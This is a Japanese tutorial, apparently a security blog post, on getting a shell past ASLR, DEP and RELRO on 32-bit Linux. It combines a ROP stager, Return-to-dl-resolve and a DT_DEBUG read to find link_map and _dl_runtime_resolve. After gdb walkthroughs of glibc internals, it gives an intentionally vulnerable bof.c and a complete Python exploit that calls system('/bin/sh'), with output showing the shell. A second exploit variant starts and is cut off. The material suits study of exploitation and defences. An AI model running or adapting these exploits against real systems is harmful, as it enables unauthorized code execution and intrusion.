(gdb) set $dynamic = (Elf32_Dyn *)0x08049f08
(gdb) p *$dynamic@10
$1 =   {[0x0] = {d_tag = 0x1, d_un = {d_val = 0x10, d_ptr = 0x10}},
  [0x1] = {d_tag = 0xc, d_un = {d_val = 0x80482d0, d_ptr = 0x80482d0}},
  [0x2] = {d_tag = 0xd, d_un = {d_val = 0x804851c, d_ptr = 0x804851c}},
  [0x3] = {d_tag = 0x6ffffef5, d_un = {d_val = 0x80481ac, d_ptr = 0x80481ac}},
  [0x4] = {d_tag = 0x5, d_un = {d_val = 0x804822c, d_ptr = 0x804822c}},
  [0x5] = {d_tag = 0x6, d_un = {d_val = 0x80481cc, d_ptr = 0x80481cc}},
  [0x6] = {d_tag = 0xa, d_un = {d_val = 0x50, d_ptr = 0x50}},
  [0x7] = {d_tag = 0xb, d_un = {d_val = 0x10, d_ptr = 0x10}},
  [0x8] = {d_tag = 0x15, d_un = {d_val = 0xb7fff904, d_ptr = 0xb7fff904}},
  [0x9] = {d_tag = 0x3, d_un = {d_val = 0x8049fe0, d_ptr = 0x8049fe0}}}
(gdb) set $r_debug = (struct r_debug *)$dynamic[8]->d_un->d_ptr
(gdb) p *$r_debug
$2 = {r_version = 0x1, r_map = 0xb7fff918, r_brk = 0xb7fed670, r_state = RT_CONSISTENT, r_ldbase = 0xb7fde000}
(gdb) p *$r_debug->r_map
$3 = {l_addr = 0x0, l_name = 0xb7ff7bc5 "", l_ld = 0x8049f08, l_next = 0xb7fdd858, l_prev = 0x0}
(gdb) p *$r_debug->r_map->l_next
$4 = {l_addr = 0xb7e29000, l_name = 0xb7fdd838 "/lib/i386-linux-gnu/libc.so.6", l_ld = 0xb7fced7c, l_next = 0xb7fff53c, l_prev = 0xb7fff918}

上の例では、dynamicセクションからDT_DEBUG (d_tag = 0x15) に対応するメモリアドレスを調べ、これをr_debug構造体として表示させている。 そして中にあるlink_map構造体の双方向リストをたどっている。 なお、set $foo=1GDB変数のセット、p *$ptr@nでポインタが指すアドレスからn個分の要素を表示することができる。

また、次のようにptype(pt)コマンドを使って型を調べると、変数$r_debug$r_debug->r_mapがそれぞれr_debug構造体、link_map構造体として解釈されていることが確認できる。

(gdb) pt *$r_debug
type = struct r_debug {
    int r_version;
    struct link_map *r_map;
    Elf32_Addr r_brk;
    enum {RT_CONSISTENT, RT_ADD, RT_DELETE} r_state;
    Elf32_Addr r_ldbase;
}
(gdb) pt *$r_debug->r_map
type = struct link_map {
    Elf32_Addr l_addr;
    char *l_name;
    Elf32_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
}

関連リンク

ROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避

「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらにRELROが有効な場合について、DT_DEBUGシンボルを利用したシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -e "\x04\x00\x00\x00AAAA" | ./a.out
AAAA

実行時におけるPLT、GOTセクションの内容を調べてみる

Return-to-dl-resolveでは、実行時にGOTセクションの先頭にセットされる_dl_runtime_resolve関数のアドレスを利用していた。 しかし、lazy bindingが無効な場合、GOTアドレスの値は実行直後に解決され、それ以降解決されることはない。 そこで、gdbを使い、実行時におけるPLT、GOTセクションの内容を調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048407
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048407 in main ()
(gdb) i files
        0x08048300 - 0x08048350 is .plt
        0x08049fe0 - 0x0804a000 is .got
(gdb) x/4i 0x08048300
   0x8048300:   push   DWORD PTR ds:0x8049fe4
   0x8048306:   jmp    DWORD PTR ds:0x8049fe8
   0x804830c:   add    BYTE PTR [eax],al
   0x804830e:   add    BYTE PTR [eax],al
(gdb) x/2wx 0x8049fe4
0x8049fe4 <_GLOBAL_OFFSET_TABLE_+4>:    0x00000000      0x00000000
(gdb) quit

上の結果から、PLTセクションはRELROが無効の場合と変わらないが、GOTセクションに_dl_runtime_resolve関数のアドレスなどがセットされていないことがわかる。 実際にglibcソースコードを調べてみると、これらのアドレスをセットする関数はx86の場合次のようになっている。

/* Set up the loaded object described by L so its unrelocated PLT
   entries will jump to the on-demand fixup code in dl-runtime.c.  */

static inline int __attribute__ ((unused, always_inline))
elf_machine_runtime_setup (struct link_map *l, int lazy, int profile)
{
  Elf32_Addr *got;
  extern void _dl_runtime_resolve (Elf32_Word) attribute_hidden;
  extern void _dl_runtime_profile (Elf32_Word) attribute_hidden;

  if (l->l_info[DT_JMPREL] && lazy)
    {
      /* The GOT entries for functions in the PLT have not yet been filled
         in.  Their initial contents will arrange when called to push an
         offset into the .rel.plt section, push _GLOBAL_OFFSET_TABLE_[1],
         and then jump to _GLOBAL_OFFSET_TABLE[2].  */
      got = (Elf32_Addr *) D_PTR (l, l_info[DT_PLTGOT]);
      /* If a library is prelinked but we have to relocate anyway,
         we have to be able to undo the prelinking of .got.plt.
         The prelinker saved us here address of .plt + 0x16.  */
      if (got[1])
        {
          l->l_mach.plt = got[1] + l->l_addr;
          l->l_mach.gotplt = (Elf32_Addr) &got[3];
        }
      got[1] = (Elf32_Addr) l;  /* Identify this shared object.  */

      /* The got[2] entry contains the address of a function which gets
         called to get the address of a so far unresolved function and
         jump to it.  The profiling extension of the dynamic linker allows
         to intercept the calls to collect information.  In this case we
         don't store the address in the GOT so that all future calls also
         end in this function.  */
      if (__builtin_expect (profile, 0))
        {
          got[2] = (Elf32_Addr) &_dl_runtime_profile;

          if (GLRO(dl_profile) != NULL
              && _dl_name_match_p (GLRO(dl_profile), l))
            /* This is the object we are looking for.  Say that we really
               want profiling and the timers are started.  */
            GL(dl_profile_map) = l;
        }
      else
        /* This function will get called to fix up the GOT entry indicated by
           the offset on the stack, and then jump to the resolved address.  */
        got[2] = (Elf32_Addr) &_dl_runtime_resolve;
    }

  return lazy;
}

上のコードから、変数lazyがfalse、すなわち遅延バインドが無効な場合、GOTセクションの2ワード目、3ワード目がセットされないことがわかる。

GOTセクションに書かれるアドレスの詳細を調べてみる

一旦RELROを無効にしてコンパイルし直し、GOTセクションの2ワード目、3ワード目に入っている値について調べてみる。

$ gcc -fno-stack-protector bof.c

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048407
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048407 in main ()
(gdb) i files
        0x08048300 - 0x08048350 is .plt
        0x08049ff4 - 0x0804a010 is .got.plt
(gdb) x/4i 0x08048300
   0x8048300:   push   DWORD PTR ds:0x8049ff8
   0x8048306:   jmp    DWORD PTR ds:0x8049ffc
   0x804830c:   add    BYTE PTR [eax],al
   0x804830e:   add    BYTE PTR [eax],al
(gdb) x/2wx 0x8049ff8
0x8049ff8 <_GLOBAL_OFFSET_TABLE_+4>:    0xb7fff918      0xb7ff26a0

上のソースコードと比較すると、一つ目がライブラリの判別に使われるlink_map構造体、二つ目が_dl_runtime_resolve関数であることがわかる。 link_map構造体は各ライブラリのdynamicセクションのアドレスなどが書かれた構造体であり、双方向リストとしてライブラリごとの構造体を参照し合っている。 ソースコードから定義を調べると次のようになる。

/* Structure describing a loaded shared object.  The `l_next' and `l_prev'
   members form a chain of all the shared objects loaded at startup.

   These data structures exist in space used by the run-time dynamic linker;
   modifying them may have disastrous results.  */

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;          /* Base address shared object is loaded at.  */
    char *l_name;               /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;            /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
  };

実際にgdbで対応する値を調べてみる。

(gdb) x/5wx 0xb7fff918
0xb7fff918:     0x00000000      0xb7ff7bc5      0x08049f28      0xb7fdd858
0xb7fff928:     0x00000000
(gdb) x/s 0xb7ff7bc5
0xb7ff7bc5:      ""
(gdb) x/wx 0x08049f28
0x8049f28 <_DYNAMIC>:   0x00000001
(gdb) x/5wx 0xb7fdd858
0xb7fdd858:     0xb7e29000      0xb7fdd838      0xb7fced7c      0xb7fff53c
0xb7fdd868:     0xb7fff918
(gdb) x/s 0xb7fdd838
0xb7fdd838:      "/lib/i386-linux-gnu/libc.so.6"
(gdb) x/5wx 0xb7fff53c
0xb7fff53c <_rtld_global+1308>: 0xb7fde000      0x08048154      0xb7ffef1c      0x00000000
0xb7fff54c <_rtld_global+1324>: 0xb7fdd858
(gdb) x/s 0x08048154
0x8048154:       "/lib/ld-linux.so.2"
(gdb) i proc map
        0xb7e29000 0xb7fcd000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
(gdb) i files
        0xb7fced7c - 0xb7fcee6c is .dynamic in /lib/i386-linux-gnu/libc.so.6
        0xb7ffef1c - 0xb7ffefd4 is .dynamic in /lib/ld-linux.so.2

上の結果を整理すると、次のようになる。

                l_addr          *l_name         *l_ld           *l_next         *l_prev
                ----------      ----------      ----------      ----------      ----------
0xb7fff918:     0x00000000      0xb7ff7bc5      0x08049f28      0xb7fdd858      0x00000000
link_map[0]                     ""              .dynamic        link_map[1]

0xb7fdd858:     0xb7e29000      0xb7fdd838      0xb7fced7c      0xb7fff53c      0xb7fff918
link_map[1]     base address    "libc.so.6"     .dynamic        link_map[2]     link_map[0]

0xb7fdd858:     0xb7fde000      0x08048154      0xb7ffef1c      0x00000000      0xb7fdd858
link_map[2]     base address    "ld-linux.so.2" .dynamic                        link_map[1]

リストの要素は、それぞれ実行ファイル、libc、ld-linux(ダイナミックリンカ)に対応している。 なお、この並びはlddコマンドが表示するものと同じである。

$ ldd a.out
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4b000)
        /lib/ld-linux.so.2 (0x80000000)

一方、_dl_runtime_resolve関数については次のような関数となっている。

(gdb) x/20i 0xb7ff26a0
   0xb7ff26a0:  push   eax
   0xb7ff26a1:  push   ecx
   0xb7ff26a2:  push   edx
   0xb7ff26a3:  mov    edx,DWORD PTR [esp+0x10]
   0xb7ff26a7:  mov    eax,DWORD PTR [esp+0xc]
   0xb7ff26ab:  call   0xb7fec1d0
   0xb7ff26b0:  pop    edx
   0xb7ff26b1:  mov    ecx,DWORD PTR [esp]
   0xb7ff26b4:  mov    DWORD PTR [esp],eax
   0xb7ff26b7:  mov    eax,DWORD PTR [esp+0x4]
   0xb7ff26bb:  ret    0xc
   ...

dynamicセクションについて調べてみる

ここまでの内容より、link_map構造体から各ファイルのdynamicセクションのアドレスが得られることがわかった。 そこで、RELROを再度有効にし、readelfコマンドで実行ファイルのdynamicセクションの内容を表示してみる。

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ readelf -d a.out

Dynamic section at offset 0xf08 contains 22 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x80482d0
 0x0000000d (FINI)                       0x804851c
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804822c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      80 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x8049fe0
 0x00000002 (PLTRELSZ)                   32 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x80482b0
 0x00000011 (REL)                        0x80482a8
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x00000018 (BIND_NOW)
 0x6ffffffb (FLAGS_1)                    Flags: NOW
 0x6ffffffe (VERNEED)                    0x8048288
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x804827c
 0x00000000 (NULL)                       0x0

上の内容を見ると、dynamicセクションから他のセクションのアドレスが得られることがわかる。 ここで、objdumpコマンドを使いdynamicセクションの中身をバイト列として出力すると次のようになる。

$ objdump -s -j.dynamic a.out

a.out:     file format elf32-i386

Contents of section .dynamic:
 8049f08 01000000 10000000 0c000000 d0820408  ................
 8049f18 0d000000 1c850408 f5feff6f ac810408  ...........o....
 8049f28 05000000 2c820408 06000000 cc810408  ....,...........
 8049f38 0a000000 50000000 0b000000 10000000  ....P...........
 8049f48 15000000 00000000 03000000 e09f0408  ................
 8049f58 02000000 20000000 14000000 11000000  .... ...........
 8049f68 17000000 b0820408 11000000 a8820408  ................
 8049f78 12000000 08000000 13000000 08000000  ................
 8049f88 18000000 00000000 fbffff6f 01000000  ...........o....
 8049f98 feffff6f 88820408 ffffff6f 01000000  ...o.......o....
 8049fa8 f0ffff6f 7c820408 00000000 00000000  ...o|...........
 8049fb8 00000000 00000000 00000000 00000000  ................
 8049fc8 00000000 00000000 00000000 00000000  ................
 8049fd8 00000000 00000000                    ........

readelfコマンドの出力と比較すると、TagとName/Valueが交互に並んでいることがわかる。 実際、dynamicセクションにはElf32_Dyn構造体が並んでおり、その定義は次のようになっている。

/* Dynamic section entry.  */

typedef struct
{
  Elf32_Sword   d_tag;                  /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;                 /* Integer value */
      Elf32_Addr d_ptr;                 /* Address value */
    } d_un;
} Elf32_Dyn;

/* Legal values for d_tag (dynamic entry type).  */

#define DT_NULL         0               /* Marks end of dynamic section */
#define DT_NEEDED       1               /* Name of needed library */
#define DT_PLTGOT       3               /* Processor defined value */
#define DT_DEBUG        21              /* For debugging; unspecified */

なお、libcなどの共有ライブラリの場合d_ptrにはアドレスとしてファイル先頭からのオフセット値が入るが、実行時に実際のアドレスに置き換えられる。

ここで、DT_DEBUGに着目してみる。 DT_DEBUG (0x15) はgccが標準で埋め込むデバッグ用シンボルであり、対応するd_un共用体には実行時に次のr_debug構造体を指すアドレスが入る。

/* Rendezvous structure used by the run-time dynamic linker to communicate
   details of shared object loading to the debugger.  If the executable's
   dynamic section has a DT_DEBUG element, the run-time linker sets that
   element's value to the address where this structure can be found.  */

struct r_debug
  {
    int r_version;              /* Version number for this protocol.  */

    struct link_map *r_map;     /* Head of the chain of loaded objects.  */

    /* This is the address of a function internal to the run-time linker,
       that will always be called when the linker begins to map in a
       library or unmap it, and again when the mapping change is complete.
       The debugger can set a breakpoint at this address if it wants to
       notice shared object mapping changes.  */
    ElfW(Addr) r_brk;
    enum
      {
        /* This state value describes the mapping change taking place when
           the `r_brk' address is called.  */
        RT_CONSISTENT,          /* Mapping change is complete.  */
        RT_ADD,                 /* Beginning to add a new object.  */
        RT_DELETE               /* Beginning to remove an object mapping.  */
      } r_state;

    ElfW(Addr) r_ldbase;        /* Base address the linker is loaded at.  */
  };

/* This is the instance of that structure used by the dynamic linker.  */
extern struct r_debug _r_debug;
static void
dl_main (const ElfW(Phdr) *phdr,
         ElfW(Word) phnum,
         ElfW(Addr) *user_entry,
         ElfW(auxv_t) *auxv)
{
  (snip)

  /* Initialize _r_debug.  */
  struct r_debug *r = _dl_debug_initialize (GL(dl_rtld_map).l_addr,
                                            LM_ID_BASE);

  (snip)

  /* Set up debugging before the debugger is notified for the first time.  */
#ifdef ELF_MACHINE_DEBUG_SETUP
  /* Some machines (e.g. MIPS) don't use DT_DEBUG in this way.  */
  ELF_MACHINE_DEBUG_SETUP (main_map, r);
  ELF_MACHINE_DEBUG_SETUP (&GL(dl_rtld_map), r);
#else
  if (main_map->l_info[DT_DEBUG] != NULL)
    /* There is a DT_DEBUG entry in the dynamic section.  Fill it in
       with the run-time address of the r_debug structure  */
    main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r;

  /* Fill in the pointer in the dynamic linker's own dynamic section, in
     case you run gdb on the dynamic linker directly.  */
  if (GL(dl_rtld_map).l_info[DT_DEBUG] != NULL)
    GL(dl_rtld_map).l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r;
#endif

  (snip)
}

この構造体は、gdbが動的にロードされたライブラリの情報を取得するためなどに使われている。

実際に、gdbでDT_DEBUG (0x15) に対応する値を確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048407
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048407 in main ()
(gdb) i files
        0x08049f08 - 0x08049fe0 is .dynamic
(gdb) x/60wx 0x08049f08
0x8049f08 <_DYNAMIC>:   0x00000001      0x00000010      0x0000000c      0x080482d0
0x8049f18 <_DYNAMIC+16>:        0x0000000d      0x0804851c      0x6ffffef5      0x080481ac
0x8049f28 <_DYNAMIC+32>:        0x00000005      0x0804822c      0x00000006      0x080481cc
0x8049f38 <_DYNAMIC+48>:        0x0000000a      0x00000050      0x0000000b      0x00000010
0x8049f48 <_DYNAMIC+64>:        0x00000015      0xb7fff904      0x00000003      0x08049fe0
0x8049f58 <_DYNAMIC+80>:        0x00000002      0x00000020      0x00000014      0x00000011
...
0x8049fd8 <_DYNAMIC+208>:       0x00000000      0x00000000      0x08049f08      0x00000000
0x8049fe8 <_GLOBAL_OFFSET_TABLE_+8>:    0x00000000      0xb7f08210      0x00000000      0xb7e423e0
(gdb) x/5wx 0xb7fff904
0xb7fff904 <_r_debug>:  0x00000001      0xb7fff918      0xb7fed670      0x00000000
0xb7fff914 <_r_debug+16>:       0xb7fde000

ここで、r_debug構造体のr_mapに0xb7fff918、すなわち実行ファイルのlink_mapが入っていることがわかる。

以上をまとめると、次の流れでlink_map構造体および_dl_runtime_resolve関数のアドレスが得られることがわかる。

  1. 実行ファイルのdynamicセクションから、DT_DEBUGに対応する値としてr_debug構造体のアドレスを得る
  2. r_debug構造体からlink_map構造体のアドレスを得る
  3. link_map構造体のl_nextをたどり、適当なライブラリ(LIB)のlink_map構造体を得る
  4. LIBのlink_map構造体から、LIBのdynamicセクションのアドレスを得る
  5. LIBのdynamicセクションから、DT_GOTPLTに対応する値としてLIBのGOTセクションのアドレスを得る
  6. LIBのGOTセクションから、3ワード目の値として_dl_runtime_resolve関数のアドレスを得る

ここで、各ライブラリのGOTセクションで参照される_dl_runtime_resolve関数は共通となるため、LIBはlibcでなくてもよい。

なお、DT_DEBUGシンボルはgccの代わりにclangを使った場合でも標準で埋め込まれ、stripコマンドを使っても削除されない。

$ clang -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ readelf -d a.out
 0x00000015 (DEBUG)                      0x0

$ strip --strip-all a.out

$ readelf -d a.out
 0x00000015 (DEBUG)                      0x0

エクスプロイトコードを書いてみる

以上の内容をもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x080481cc     # readelf -S a.out
addr_dynstr = 0x0804822c     # readelf -S a.out
addr_relplt = 0x080482b0     # readelf -S a.out
addr_plt = 0x08048300        # readelf -S a.out
addr_bss = 0x0804a008        # readelf -S a.out
addr_plt_read = 0x8048310    # objdump -d -j.plt a.out
addr_plt_write = 0x8048340   # objdump -d -j.plt a.out
addr_dt_debug = 0x8049f4c    # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15)

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080484cf    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800
base_stage = addr_bss + stack_size
size_bulkread = 0x100

buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 1000)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)

buf2 = 'AAAA'

# read dt_debug
addr_esp = base_stage + 4
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += struct.pack('<I', addr_dt_debug)
buf2 += struct.pack('<I', 4)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read r_debug
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_r_debug
buf2 += struct.pack('<I', 20)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read link_map
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_link_map
buf2 += struct.pack('<I', 20)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read link_map_lib
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_link_map_lib
buf2 += struct.pack('<I', 20)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read lib_dynamic
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_lib_dynamic
buf2 += struct.pack('<I', size_bulkread)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read lib_gotplt
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_lib_gotplt
buf2 += struct.pack('<I', 12)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+40)
buf2 += struct.pack('<I', 8)

# call dl_resolve
addr_esp += 40
addr_reloc = addr_esp + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7

reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr

buf2 += 'AAAA'  # addr_dl_resolve
buf2 += 'AAAA'  # addr_link_map
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_bss)  # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)   # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (100-len(buf2))

# execution part
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)

addr_r_debug = p.stdout.read(4)
print "[+] addr_r_debug = %08x" % struct.unpack('<I', addr_r_debug)[0]
p.stdin.write(addr_r_debug)

addr_link_map = p.stdout.read(20)[4:8]
print "[+] addr_link_map = %08x" % struct.unpack('<I', addr_link_map)[0]
p.stdin.write(addr_link_map)

addr_link_map_lib = p.stdout.read(20)[12:16]
print "[+] addr_link_map_lib = %08x" % struct.unpack('<I', addr_link_map_lib)[0]
p.stdin.write(addr_link_map_lib)

addr_lib_dynamic = p.stdout.read(20)[8:12]
print "[+] addr_lib_dynamic = %08x" % struct.unpack('<I', addr_lib_dynamic)[0]
p.stdin.write(addr_lib_dynamic)

lib_dynamic = p.stdout.read(size_bulkread)
addr_lib_gotplt = lib_dynamic.split('\x03\x00\x00\x00')[1][:4]
print "[+] addr_lib_gotplt = %08x" % struct.unpack('<I', addr_lib_gotplt)[0]
p.stdin.write(addr_lib_gotplt)

addr_dl_resolve = p.stdout.read(12)[8:12]
print "[+] addr_dl_resolve = %08x" % struct.unpack('<I', addr_dl_resolve)[0]
p.stdin.write(addr_dl_resolve + addr_link_map)

p.wait()

このコードは、オーバーフローさせるバッファサイズを引数に取る。 コードの内容としては、ROP stagerでbssセグメントに書き込みstack pivotした後、read/writeを使って順番にデータを読み書きしていく。 libcのdynamicセクションについては、変数size_bulkreadにて指定したサイズ(0x100)だけデータを読み込んだ後、DT_GOTPLT (0x3) に対応する値を切り出すことでGOTセクションのアドレスを得る。 そして最後に、得られたlink_map構造体と_dl_runtime_resolve関数のアドレスをもとに、Return-to-dl-resolveにてsystem関数を呼び出す。 ここで、解決したライブラリ関数のアドレスが書き込まれるElf32_Rel構造体のr_offsetには、GOTアドレスの代わりにbssセクションなど書き込み可能なアドレスをセットする。 これはRELROによりGOTセクションが書き込み不可となっているためである。

引数をセットし実行すると次のようになる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_r_debug = b7730904
[+] addr_link_map = b7730918
[+] addr_link_map_lib = b770e858
[+] addr_lib_dynamic = b76ffd7c
[+] addr_lib_gotplt = b76ffff4
[+] addr_dl_resolve = b77236a0
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLR+DEP+RELROが有効な条件下で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。

近い位置にあるデータをまとめて読み出してみる

上の結果から、r_debugとlink_map、lib_dynamicとlib_gotpltのアドレスが近いことがわかる。 そこで、これらをまとめて読み出すことで読み書きの回数を減らしてみると次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x080481cc     # readelf -S a.out
addr_dynstr = 0x0804822c     # readelf -S a.out
addr_relplt = 0x080482b0     # readelf -S a.out
addr_plt = 0x08048300        # readelf -S a.out
addr_bss = 0x0804a008        # readelf -S a.out
addr_plt_read = 0x8048310    # objdump -d -j.plt a.out
addr_plt_write = 0x8048340   # objdump -d -j.plt a.out
addr_dt_debug = 0x8049f4c    # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15)

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080484cf    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800
base_stage = addr_bss + stack_size
size_bulkread = 0x400

buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 1000)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)

buf2 = 'AAAA'

# read dt_debug
addr_esp = base_stage + 4
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += struct.pack('<I', addr_dt_debug)
buf2 += struct.pack('<I', 4)
